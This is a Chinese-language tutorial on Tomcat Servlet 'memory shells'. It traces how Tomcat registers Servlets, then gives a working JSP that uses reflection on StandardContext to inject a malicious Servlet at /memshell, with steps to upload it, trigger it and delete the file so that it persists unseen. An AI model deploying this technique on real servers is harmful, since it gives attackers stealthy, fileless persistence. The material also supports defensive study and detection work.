Java 内存马(一):Servlet 内存马

1. 基本概念

Servlet 内存马 是通过 运行时动态注册 Servlet 的方式,将恶意 Servlet 植入 Web 容器中。

特点:

  • 无文件落地:不依赖磁盘上的 class 文件或 web.xml 配置

  • 驻留内存:直至容器重启前一直存在

  • 隐蔽性高:通过 URL 请求即可触发,常规查杀不易发现

常见利用场景:攻击者上传一个 JSP 文件,通过反射操作 Tomcat 内部对象,在运行时注入恶意 Servlet。

2. Servlet 装载流程(开发者视角)

要理解内存马,首先需要知道 正常情况下 Servlet 是如何被加载的

2.1 编写 Servlet 类

1
2
3
4
5
6
7
public class HelloServlet extends HttpServlet {
   public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
       response.setContentType("text/html");
       PrintWriter out = response.getWriter();
       out.println("hello world");
  }
}

2.2 在 web.xml 中配置

1
2
3
4
5
6
7
8
9
<servlet>
   <servlet-name>HelloServlet</servlet-name>
   <servlet-class>com.example.memshell.HelloServlet</servlet-class>
</servlet>

<servlet-mapping>
   <servlet-name>HelloServlet</servlet-name>
   <url-pattern>/hello</url-pattern>
</servlet-mapping>

2.3 Tomcat 加载

  • 启动时,Tomcat 解析 web.xml

  • 加载 HelloServlet

  • 建立 URL /hello 与该 Servlet 的映射

3. Tomcat Servlet 加载流程(容器内部机制)

深入 Tomcat 源码,可以看到 Servlet 装载的具体过程。

3.1 Web 应用启动

  • 每个 Web 应用对应一个 StandardContext 容器

  • Tomcat 调用 ContextConfig#configureStart(),加载并解析 web.xml

3.2 解析 web.xml

  • ContextConfig#configureContext(WebXml webxml) 方法处理配置

  • webxml 内部结构

    • webxml.servlets:保存 <servlet> 定义

    • webxml.servletMappings:保存 <servlet-mapping> 映射关系

3.3 注册 Servlet 定义

1
2
3
4
5
6
for (WebXml.Servlet servlet : webxml.getServlets().values()) {
   Wrapper wrapper = context.createWrapper();
   wrapper.setName(servlet.getName());
   wrapper.setServletClass(servlet.getClassName());
   context.addChild(wrapper);
}
  • createWrapper() → 创建 StandardWrapper(Servlet 包装类)

  • addChild(wrapper) → 将 Servlet 注册到 StandardContext

👉 此时,Servlet 已被加入容器,但尚未建立 URL 映射。

3.4 注册 URL 映射

1
2
3
for (Map.Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
   context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
  • entry.getKey() → URL pattern,例如 /hello

  • entry.getValue() → Servlet 名称,例如 HelloServlet

  • 存入 StandardContext.servletMappings

3.5 请求处理流程

当客户端请求 /hello

  1. Mapper 组件根据 URL 找到对应的 Wrapper

  2. Wrapper.allocate() 创建或复用 Servlet 实例

  3. 调用 service() 方法 → 分发到 doGet()/doPost()

  4. 返回响应给客户端

3.6 关键类总结

  • StandardContext:Web 应用容器,管理所有 Servlet/Filter/Listener

  • StandardWrapper:Servlet 包装类,负责生命周期管理(init/service/destroy)

  • Mapper:负责 URL 匹配和请求分发

  • ContextConfig:负责解析 web.xml 并注册到容器

3.7 内存马切入点

  • 正常流程:由 web.xml 驱动

  • 内存马流程:跳过配置文件,直接在运行时操作 StandardContext

  • 核心调用:

    • addChild(wrapper) → 注入恶意 Servlet

    • addServletMappingDecoded(url, name) → 建立恶意 URL 映射

4. 内存马实现机制

内存马的实现步骤:

  1. 创建恶意 Servlet 类(执行命令/回显等)

  2. 获取 StandardContext

    • 通过 request.getServletContext() → 反射逐层获取内部 StandardContext

  3. 创建 Wrapper 并封装 Servlet

  4. 将 Wrapper 注册到容器addChild(wrapper))

  5. 设置 URL 映射addServletMappingDecoded()

5. 示例代码(JSP 内存马)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
// 恶意 Servlet 定义
public class ShellServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc"); // 示例:执行系统命令
}
}
%>

<%
// 1. 获取 ServletContext
ServletContext servletContext = request.getServletContext();

// 2. 反射获取 ApplicationContext
Field appCtxField = servletContext.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);

// 3. 获取 StandardContext
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);

// 4. 创建 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("memshell");
wrapper.setServletClass(ShellServlet.class.getName());
wrapper.setServlet(new ShellServlet());

// 5. 注册 Servlet 与映射
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/memshell", "memshell");
%>

6. 触发步骤

  1. 上传 JSP 木马到目标服务器

  2. 访问 JSP → 执行注入逻辑

  3. 访问 /memshell → 触发恶意 Servlet

  4. (可选)删除 JSP 文件,内存马依然存活

7. 总结

  • 开发者视角:编写 Servlet → 配置 web.xml → Tomcat 自动加载

  • 容器内部视角:ContextConfig 解析 web.xml → 创建 Wrapper → 注册到 StandardContext → 建立 URL 映射

  • 内存马本质:在运行时动态完成这一套流程,不依赖文件,直接在内存中注册恶意 Servlet

  • 关键 APIaddChild()addServletMappingDecoded()

上一篇
下一篇